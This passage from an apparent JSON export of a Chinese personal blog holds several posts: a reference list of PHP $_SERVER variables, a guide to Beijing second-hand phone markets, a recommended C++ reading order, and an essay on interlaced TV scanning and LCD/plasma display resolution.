\u0026#8216;SERVER_SOFTWARE\u0026#8217;\n服务器标识的字串，在响应请求时的头部中给出。 \u0026ldquo;SERVER_PROTOCOL\u0026rdquo;\n请求页面时通信协议的名称和版本。例如，\u0026ldquo;HTTP/1.0\u0026rdquo;。 \u0026ldquo;REQUEST_METHOD\u0026rdquo;\n访问页面时的请求方法。例如：\u0026ldquo;GET\u0026rdquo;、\u0026ldquo;HEAD\u0026rdquo;，\u0026ldquo;POST\u0026rdquo;，\u0026ldquo;PUT\u0026rdquo;。 \u0026ldquo;QUERY_STRING\u0026rdquo;\n查询(query)的字符串。 \u0026ldquo;DOCUMENT_ROOT\u0026rdquo;\n当前运行脚本所在的文档根目录。在服务器配置文件中定义。 \u0026ldquo;HTTP_ACCEPT\u0026rdquo;\n当前请求的 Accept: 头部的内容。 \u0026ldquo;HTTP_ACCEPT_CHARSET\u0026rdquo;\n当前请求的 Accept-Charset: 头部的内容。例如：\u0026ldquo;iso-8859-1,*,utf-8\u0026rdquo;。 \u0026ldquo;HTTP_ACCEPT_ENCODING\u0026rdquo;\n当前请求的 Accept-Encoding: 头部的内容。例如：\u0026ldquo;gzip\u0026rdquo;。 \u0026ldquo;HTTP_ACCEPT_LANGUAGE\u0026rdquo;\n当前请求的 Accept-Language: 头部的内容。例如：\u0026ldquo;en\u0026rdquo;。 \u0026ldquo;HTTP_CONNECTION\u0026rdquo;\n当前请求的 Connection: 头部的内容。例如：\u0026ldquo;Keep-Alive\u0026rdquo;。 \u0026ldquo;HTTP_HOST\u0026rdquo;\n当前请求的 Host: 头部的内容。 \u0026ldquo;HTTP_REFERER\u0026rdquo;\n链接到当前页面的前一页面的 URL 地址。不是所有的用户代理（浏览器）都会设置这个变量，而且有的还可以手工修改 HTTP_REFERER。因此，这个变量不总是正确真实的。 \u0026ldquo;HTTP_USER_AGENT\u0026rdquo;\n当前请求的 User_Agent: 头部的内容。该字符串表明了访问该页面的用户代理的信息。一个典型的例子是：Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586)。您也可以使用 get_browser() 得到这个信息。 \u0026ldquo;REMOTE_ADDR\u0026rdquo;\n正在浏览当前页面用户的 IP 地址。 \u0026#8216;REMOTE_HOST\u0026#8217;\n正在浏览当前页面用户的主机名。反向域名解析基于该用户的 REMOTE_ADDR。 注: 必须配置 Web 服务器来建立此变量。例如 Apache 需要在 httpd.conf 中有 HostnameLookups On。参见 gethostbyaddr()。 \u0026ldquo;REMOTE_PORT\u0026rdquo;\n用户连接到服务器时所使用的端口。 \u0026ldquo;SCRIPT_FILENAME\u0026rdquo;\n当前执行脚本的绝对路径名。 \u0026ldquo;SERVER_ADMIN\u0026rdquo;\n该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上，则该值是那个虚拟主机的值。 \u0026ldquo;SERVER_PORT\u0026rdquo;\n服务器所使用的端口。默认为\u0026ldquo;80\u0026rdquo;。如果你使用 SSL 安全连接，则这个值为您所设置的 HTTP 端口。 \u0026ldquo;SERVER_SIGNATURE\u0026rdquo;\n包含服务器版本和虚拟主机名的字符串。 \u0026ldquo;PATH_TRANSLATED\u0026rdquo;\n当前脚本所在文件系统（不是文档根目录）的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。 \u0026ldquo;SCRIPT_NAME\u0026rdquo;\n包含当前脚本的路径。这在页面需要指向自己时非常有用。 \u0026ldquo;REQUEST_URI\u0026rdquo;\n访问此页面所需的 URI。例如，\u0026ldquo;/index.html\u0026rdquo;。 \u0026ldquo;PHP_AUTH_USER\u0026rdquo;\n当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是用户输入的用户名。 \u0026ldquo;PHP_AUTH_PW\u0026rdquo;\n当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是用户输入的密码。 \u0026ldquo;AUTH_TYPE\u0026rdquo;\n当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是认证的类型。\n","permalink":"https://hessian.cn/p/405.html","summary":"服务器变量：$_SERVER 其实这些东西手册里都有的，，，，，，，，，，，但我还是没事找事的放上来。。。我找抽吗？也许\n注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_SERVER_VARS。 $_SERVER 是一个包含诸如头部(headers)、路径(paths)和脚本位置(script locations)的数组。数组的实体由 web 服务器创建。不能保证所有的服务器都能产生所有的信息；服务器可能忽略了一些信息，或者产生了一些未在下面列出的新的信息。这意味着，大量的这些变量在 CGI 1.1 specification 中说明，所以您应该仔细研究它。 ","title":"服务器变量：$_SERVER 详解"},{"content":"北京的二手手机市场比较多，但是其中比较著名的应该是公主坟周边的飞新马二手商城，还有木樨园和西直门等三家二手手机市场\n西直门地区二手手机市场\n适合卖手机\n理由：卖价较高，但比较混乱。\n西直门附近的二手手机的收售价格都比较高，因此建议想要卖掉旧手机的朋友，可到这里来处理掉自己手中的旧机器。但是西直门附近的二手手机市场比较混乱，在 路边就有很多收购二手手机的商贩到处游走互相拉抢客人。如果是女孩最好带几个朋友一同前往，最好不要和路边收售手机的流动商贩交易。\n在商户检验手机的时候，千万不要让商户拆开你的机器检查，否则你的手机就卖不上好价格了。\n公主坟飞新马二手手机市场\n适合买手机\n理由：质量有保障，但价格高。\n在公主坟的飞新马二手市场中购买二手手机还是比较有保障的，因为飞新马二手商城中的商户与商城有协约，商户所销售的二手商品如果在三保期内出现产品质量问 题，必须按照协约为顾客进行产品退换，因此，即使顾客在这里购买二手手机，也可享受到购买新手机的待遇。建议想要购买二手手机的朋友可到这里看一看。只是 这里的价格可能会稍微高一点。\n木樨园的二手手机市场\n适合买便宜手机\n理由：价钱便宜，但质量差。\n针对前两者而言，木樨园附近的二手手机市场的收售价格则比较低，但是质量也比较差，还有许多用旧手机翻新的机器。想买便宜二手手机的朋友可以到这里来看一 看，此外这里的新机价格也非常低，但大部分都是港行货品，产品质量还可以，但是如果一旦损坏，却无法到正规的维修站获得保修。\n西直门二手手机市场\n规模：有十几个小规模的营业厅，规模稍大点儿的营业厅里约\n有二十几个柜台，规模小的营业厅里只有四五个柜台，在柜台上收二手手机要比路边上收手机的价格高一些，其中有部分在路边收手机的商贩会在收到手机 后再转卖给柜台上的商户，这样即可在中间获取几十元或者近百元的利润。在二手营业厅里也卖新手机，但大部分是那种被商户称为港行的手机。\n地址：西直门桥向东第一个路口向南转\n乘车路线：乘环线地铁、105路、719路、816路、800路、44路公交车均可到达。\n公主坟飞新马二手手机市场\n规模：飞新马二手商城约有一百多个柜台经营二手手机，这里的二手手机品牌、型号很全面。商城对商户管理严格，在这里购买二手手机，质量可获保障。\n地址：公主坟环岛南侧100米三环西侧乘车路线：乘300路、374路、728路、817路、1路、4路、373路、52路公交车均可到达。\n木樨园方仕通科技广场\n规模：广场分上下两层，一楼有二手手机和新手机的销售柜台，并批发兼零售。同时，在一楼还有许多销售手机配件的柜台，如：手机挂绳、手机套、手机外壳、手机存储卡和手机耳机等配件，二楼主要以批发新手机为主。\n地址：丰台区木樨园环岛东南角乘车路线：乘300路、730路、830路公交车均可到达。\n清河鹏达通讯城\n规模：约有二十个柜台，其中还有一两个空柜台，商城里的二手手机的型号比较少，收售手机的价格也都不高。\n地址：清河桥向西过第一个路口后约30米路南。\n乘车路线：乘719路、816路、305路公交车均可到达。\n","permalink":"https://hessian.cn/p/634.html","summary":"北京的二手手机市场比较多，但是其中比较著名的应该是公主坟周边的飞新马二手商城，还有木樨园和西直门等三家二手手机市场\n西直门地区二手手机市场\n适合卖手机\n","title":"北京二手手机怎么买？ 有内容！"},{"content":"当读者有一定c/c++基础\n推荐的阅读顺序:\nlevel 1\n从\u0026lt;\u0026lt;essential c++\u0026gt;\u0026gt;开始，短小精悍，可以对c++能进一步了解其特性\n以\u0026lt;\u0026lt;c++ primer\u0026gt;\u0026gt;作字典和课外读物，因为太厚不可能一口气看完\nlevel 2\n然后从\u0026lt;\u0026lt;effective c++\u0026gt;\u0026gt;开始转职，这是圣经，请遵守10诫，要经常看，没事就拿来翻翻\n接着是\u0026lt;\u0026lt;exceptional c++\u0026gt;\u0026gt;，个人认为Herb Sutter主席大人的语言表达能力不及Scott Meyers总是在教育第一线的好\n顺下来就是\u0026lt;\u0026lt;more effective c++\u0026gt;\u0026gt;和\u0026lt;\u0026lt;more exceptional c++\u0026gt;\u0026gt;，请熟读并牢记各条款\n当你读到这里，应该会有一股升级的冲动了\nlevel 3\n\u0026lt;\u0026lt;insied the c++ object model\u0026gt;\u0026gt;看过后如一缕清风扫去一直以来你对语言的疑惑，你终于能明白compiler到底都背着你做了些什么了，这本书要细细回味，比较难啃，最好反复看几遍，加深印象\n看完上一本之后，这本\u0026lt;\u0026lt;The design and evolution of c++\u0026gt;\u0026gt;会重演一次当年C++他爹在设计整个语言过程中的历程\nlevel 4\n\u0026lt;\u0026lt;the c++ standard library\u0026gt;\u0026gt;是stl的字典，要什么都可以查得到\n学c++不能不学stl，那么首先是\u0026lt;\u0026lt;effective stl\u0026gt;\u0026gt;，它和圣经一样是你日常行为的规范\n\u0026lt;\u0026lt;generic programming and the stl\u0026gt;\u0026gt;让你从oo向gp转变\n光用不行，我们还有必要了解stl的工作原理，那么\u0026lt;\u0026lt;stl源码剖析\u0026gt;\u0026gt;会解决你所有的困惑\nlevel 5\n对于c++无非是oo和gp，想进一步提升oo，\u0026lt;\u0026lt;exeptional c++ style\u0026gt;\u0026gt;是一本主席这么多年的经验之谈，是很长esp的\n一位stl高手是不能不去了解template的，\u0026lt;\u0026lt;c++ template\u0026gt;\u0026gt;是一本百科全书，足够你看完后对于gp游刃有余\n\u0026lt;\u0026lt;modern c++ design\u0026gt;\u0026gt;是太过聪明的人写给明眼人看的\n好书有很多，不能一一列举\n以上我的读书经历，供各位参考。接下来的无非就是打怪练级，多听多写多看；boost、stl、loki这些都是利器，斩妖除魔，奉劝各位别再土法练钢了。\nat last，无他，唯手熟尔。\n忘了一本《thinking in C++》\n也是经典系列之一\n\u0026lt; \u0026lt;effective c++\u0026gt;\u0026gt;这本圣经的作者Scott Meyesr在给\u0026lt;\u0026lt;modern c++ design\u0026gt;\u0026gt;序言的时候高度的赞赏了Andrei同志的工作：C++社群对template的理解即将经历一次巨大的变化，我对它所说 的任何事情，也许很快就会被认为是陈旧的、肤浅的、甚至是完全错的。\n就我所知，template的世界还在变化，速度之快就像我1995年回避写 它的时候一样。从发展的速度来看，我可能永远不会写有关template的技术书籍。幸运的是一些人比我勇敢，Andrei就是这样一位先锋。我想你会从 此书得到很多收获。我自己就得到了很多\u0026mdash;\u0026mdash;Scott Meyers September2000。\n并且，Scott Meyers 在最 近的Top5系列文章中，评价C++历史里面最重要5本书中、把Modern C++ Design列入其中，另外四本是它自己的effective c ++、以及C++ Programming Language、甚至包括《设计模式》和《C++标准文档》。 显然，Scott Meyers已经作为一个顶尖大师的角度承认了\u0026lt;\u0026lt;modern c++ design\u0026gt;\u0026gt;的价值。\n并且调侃地说，可以把是否使用其中模板方法定义为，现代C++使用者和非现代C++使用者，并且检讨了自己在早期版本Effective对模板的忽视，最后重申在新版本Effective第七章节加入大量对模板程序设计的段落，作为对这次失误的补偿。\n并 且，在这里要明确的是\u0026lt;\u0026lt;modern c++ design\u0026gt;\u0026gt;并不是一本泛型编成的书，也不是一本模板手册。其中提出了基于 策略的设计方法，有计划和目的的使用了模板、面向对象和设计模式。虽然Andrei本人对模板的研究世界无人能敌，但对其他领域的作为也令人赞叹。\n任何做游戏的人都不能忽视OpenAL把，你在开发者的名单里能看到Loki的名字：）\n","permalink":"https://hessian.cn/p/342.html","summary":"当读者有一定c/c++基础\n推荐的阅读顺序:\nlevel 1\n从\u0026lt;\u0026lt;essential c++\u0026gt;\u0026gt;开始，短小精悍，可以对c++能进一步了解其特性\n以\u0026lt;\u0026lt;c++ primer\u0026gt;\u0026gt;作字典和课外读物，因为太厚不可能一口气看完\n","title":"【转】推荐的C++书籍以及阅读顺序"},{"content":"**1我有一篇文章寫過：「你看完一齣片長一小時的電影，其實你只看了30分鐘，因為影片在放映時，要捲片，捲片時快門是關閉的，快門在關閉的時間你什麼 也看不到，而這時間至少佔1/2\u0026hellip;\u0026hellip;為什麼有30分鐘看不見任何東西，你卻絲毫不會察覺呢？很多人都說是因為視覺暫留，但很少人想到視覺暫留是雙向的，不 但看見的會延續到看不見之時，看不見的也會延續到看得見之時，因此30分鐘看成60分鐘的結果，就是亮度減半\u0026hellip;\u0026hellip;」\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**2 而在另一篇文章我也寫過：「電影雖然每秒連拍24格，但在放映時，為了減輕閃爍，每一格都會投映二次，然後捲片，再投映二次，由於捲片的動作是下拉，因此 每投映二次下拉一格便稱為2-2PullDown\u0026hellip;\u0026hellip;」這些視覺現象正說明了電視系統採用間插掃瞄的經典與必要。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**3 如果看一場60分鐘電影事實只看了30分鐘，那麼不禁我又要說：一具42吋的電漿顯示幕，事實上我們大概也只能看到38吋，甚至還不到，因為它有一部分畫面被黑網給罩住了，這事絕對比看電影只看一半更嘔，因為那黑網你實在難以裝作沒看見。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**4 而與電影相反的，是液晶顯示幕，它總是一幕未去又疊一幕，每一格都是溶進又溶出，Dissolve的結果，使我們在一小時內，看了二小時的重疊畫面，這檔事其實也不見得好受，只是大多數人都見新且喜，以亮麗掩蓋真實。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**5 如果先有電腦再有電視，則電視一定不會是現在的電視，因為電視系統發明的初衷，便是將平面圖形轉成一條線，因為只有變成一條線才能用電來傳(現在的名詞叫 串流)，而電視掃瞄成像的關鍵在\u0026rdquo;即時同步\u0026rdquo;，也就是說，除了電的傳送延遲外，基本上在家裡看到的電視畫面和電視台是完全\u0026rdquo;同時\u0026rdquo;的，但數位化後，這個\u0026rdquo; 即時同步\u0026rdquo;的特性就被摧毀了。無需\u0026rdquo;即時同步\u0026rdquo;固也有一些好處，卻也產生了一些新的問題。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**6 典型的問題之一，是將場同步變成頁同步後，必須併左腳右腳為一步，結果就失去了應有的平衡。許多人都說：電視的畫面是由60個圖場捉雙成對地組成30格畫 面顯示，事實上這個說法只是算數式的想當然爾。因為兩條腿走路，由左腳到右腳算一步，由右腳到左腳同樣算一步，左右交互而行的最大的好處就是平衡。換言 之，電視的60個圖場即使雙雙組成也是60格畫面，只不過影像如果是動的時候，電視將出現60格\u0026rdquo;半畫面(場)\u0026rdquo;，但絕非30格鋸齒狀的\u0026rdquo;全畫面\u0026rdquo;。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**6a CRT螢幕最妙的是景物呈現緩慢移動時(如湖上波光、噴泉流水及片尾徐徐上升的字幕\u0026hellip;.)最美，當影像一被凍結時，感覺就生硬了；相反的，LCD螢幕是在影像完全靜止時最美\u0026hellip;..\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**7 60 場並成30格的問題是在數位化後才產生的，第一個碰到這問題的是DVD，因為MPG壓縮必須以格進行，說來有點荒謬，因為它有點像強迫馬兒的四條腿雙雙綁 起，變成兩條腿走路一樣。許多人在人模人樣走路的時候，從來沒想過馬走路的方式，其實比人走路高明100倍。儘管馬沒有手，但教馬用只兩條腿走路，多出來 的腿也不可能變成手啊！\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**8電視訊號原本是一條串一條串成一長條 的，每一短條間，都有一次同步，可稱為水平小同步，而在262.5個小同步後，更會有一次垂直大同步，同步的作用就是\u0026rdquo;中斷後從頭再來\u0026rdquo;。所以只要電視還 是電視，掃瞄線永遠是奇數的，而馬若仍然是馬，就一定用四條腿走路。525 / 625 / 1125條掃瞄線除2後，一定出現0.5條，在262.5條 處被垂直同步中斷後回到上方，自然也由半條處開始，這就形成左右交互而行的間插效果。除非你的雙腳變成輪子，千萬別說兩隻腳走路會搖擺\u0026hellip;\u0026hellip;。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**9 電視訊號進到掃瞄型顯示器上，只要有同步訊號就可將所有的事情搞定，一切都是那麼自然，可是在數位型顯示器上，事情就不單純了。它當然也可以來一行掃(更 新)一行，這是早期大多數480\u0026#215;640液晶電視(通常用於車上)的作法，毋庸置疑的，其畫面品質實在相去NTSC電視應有的品質太遠。原因有兩個：一是 液晶的遲頓反應比起人類的視覺暫留時間要大上許多，因而形成粗糙的齒狀拖尾；另一是480\u0026#215;640的成像矩陣實在太粗糙了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**10 理論上525條掃瞄線扣除垂直遮沒時間，大約只能看到480條，在A/D時當然就只需取樣480點，但取樣後的每一個點既非方又非圓，它只是一個數據，而 此數據再度成像時，究竟要以圓或方呈現就是個大問題，說得比較簡單一點，CRT的電子束在螢光幕上畫線除了濃淡之外還有粗細變化，可是用馬賽克拼圖，每一 個圖素都只能是一樣大小、一樣的形狀及一樣的間隔，這使得480點實際並拼不出480線。這問題十分有趣，因為總要有一行黑一行白才能形成一條線，但在掃 瞄型顯示器上，經由檢驗圖實測，480條的掃瞄線，居然可分辨出300~350條橫線條(垂直解析度)，而在數位型顯示器上，若以相同的檢驗圖進行檢視 時，不只最多只能辨認240線，而且會出現難看的鋸齒。問題就出在馬賽克拼圖時，圖素與圖素間是驟然的變化的，一就是一，二就是二。用以解決鋸齒的方法是 邊緣模糊(True Type字型技術)，但為補償邊緣模糊所造成的清晰度損失，必須將數位解析度提升，經實驗結果，將480點提升1.5倍也就是720 點，此時經由模糊後形成的視覺解析度大約和480線掃瞄相當。這也就是為什麼現在大多數數位顯示器的垂直像素多定為720的原因。而明白這點，也就會明白 720等級的顯示器，其成像解析度其實是與525線的CRT相當的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**10a 相同的原理，也出現在音響上，有許多人不解CD原始取樣率就只有44.1K，播放時超取樣為88.2K甚至176.4K有何意義？事實上超取樣的用意在便於濾波，而濾波在視覺上的功能就是模糊化。\n**10b 還有300dpi的熱昇華也遠超過2400dpi甚至4800dpi的噴墨\u0026hellip;\u0026hellip;不過說來也悲哀，因為熱昇華已經慢慢不見了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**11 繼DVD之後，在液晶顯示器所碰到的併場為格問題更是棘手，因為DVD在編碼時，可以人工設定是電影(24F/S)或電視(60f/S)、要不要去格？甚 至上場或下場優先，而這些資訊也會以旗標方式寫進數位化檔案，使得在播放時，得以順利還原為NTSC格式訊號。可是一架液晶顯示器通常會接上多個訊源，例 如DVD Player、有或無線電視，甚至同一訊源還參雜許多不同類型節目，尤其是電台節目總是電視、電影、廣告、插播胡接一通，再好的邏輯電路都難以 在瞬間辨認節目類型以進行不同的處理，即便是播放DVD也不只是電影，此時Y,Pb,Pr循序輸出，若不逐片設定，便會有錯綁馬腳學人走的尷尬場面出現。\n如果有人說：我的電漿只用來看電影\u0026hellip;\u0026hellip;那是他家的事(不要來這裡吵架)。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**12 最近又出現一個說法：《只有點對點的解析度才算真實解析度\u0026hellip;\u0026hellip;》。這個簡單、想當然爾的說法，主要在提醒720等級顯示器的用戶們，如果你不升格到 1080等級，就不能看到HD的真實面貌。儘管現在市上1080等級的顯示器不多，但我不得不更進一步提醒您：480\u0026#215;640的液晶畫面相對於525線 4:3的畫面不也是點對點嗎？既然事實已經證明其畫面品質相去NTSC應有品質甚遠，當你準備升格為1920\u0026#215;1080之前，即使我不明說，你也該知道我 會說什麼啦！\n","permalink":"https://hessian.cn/p/450.html","summary":"**1我有一篇文章寫過：「你看完一齣片長一小時的電影，其實你只看了30分鐘，因為影片在放映時，要捲片，捲片時快門是關閉的，快門在關閉的時間你什麼 也看不到，而這時間至少佔1/2\u0026hellip;\u0026hellip;為什麼有30分鐘看不見任何東西，你卻絲毫不會察覺呢？很多人都說是因為視覺暫留，但很少人想到視覺暫留是雙向的，不 但看見的會延續到看不見之時，看不見的也會延續到看得見之時，因此30分鐘看成60分鐘的結果，就是亮度減半\u0026hellip;\u0026hellip;」\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**2 而在另一篇文章我也寫過：「電影雖然每秒連拍24格，但在放映時，為了減輕閃爍，每一格都會投映二次，然後捲片，再投映二次，由於捲片的動作是下拉，因此 每投映二次下拉一格便稱為2-2PullDown\u0026hellip;\u0026hellip;」這些視覺現象正說明了電視系統採用間插掃瞄的經典與必要。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**3 如果看一場60分鐘電影事實只看了30分鐘，那麼不禁我又要說：一具42吋的電漿顯示幕，事實上我們大概也只能看到38吋，甚至還不到，因為它有一部分畫面被黑網給罩住了，這事絕對比看電影只看一半更嘔，因為那黑網你實在難以裝作沒看見。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**4 而與電影相反的，是液晶顯示幕，它總是一幕未去又疊一幕，每一格都是溶進又溶出，Dissolve的結果，使我們在一小時內，看了二小時的重疊畫面，這檔事其實也不見得好受，只是大多數人都見新且喜，以亮麗掩蓋真實。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**5 如果先有電腦再有電視，則電視一定不會是現在的電視，因為電視系統發明的初衷，便是將平面圖形轉成一條線，因為只有變成一條線才能用電來傳(現在的名詞叫 串流)，而電視掃瞄成像的關鍵在\u0026rdquo;即時同步\u0026rdquo;，也就是說，除了電的傳送延遲外，基本上在家裡看到的電視畫面和電視台是完全\u0026rdquo;同時\u0026rdquo;的，但數位化後，這個\u0026rdquo; 即時同步\u0026rdquo;的特性就被摧毀了。無需\u0026rdquo;即時同步\u0026rdquo;固也有一些好處，卻也產生了一些新的問題。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; x\n**6 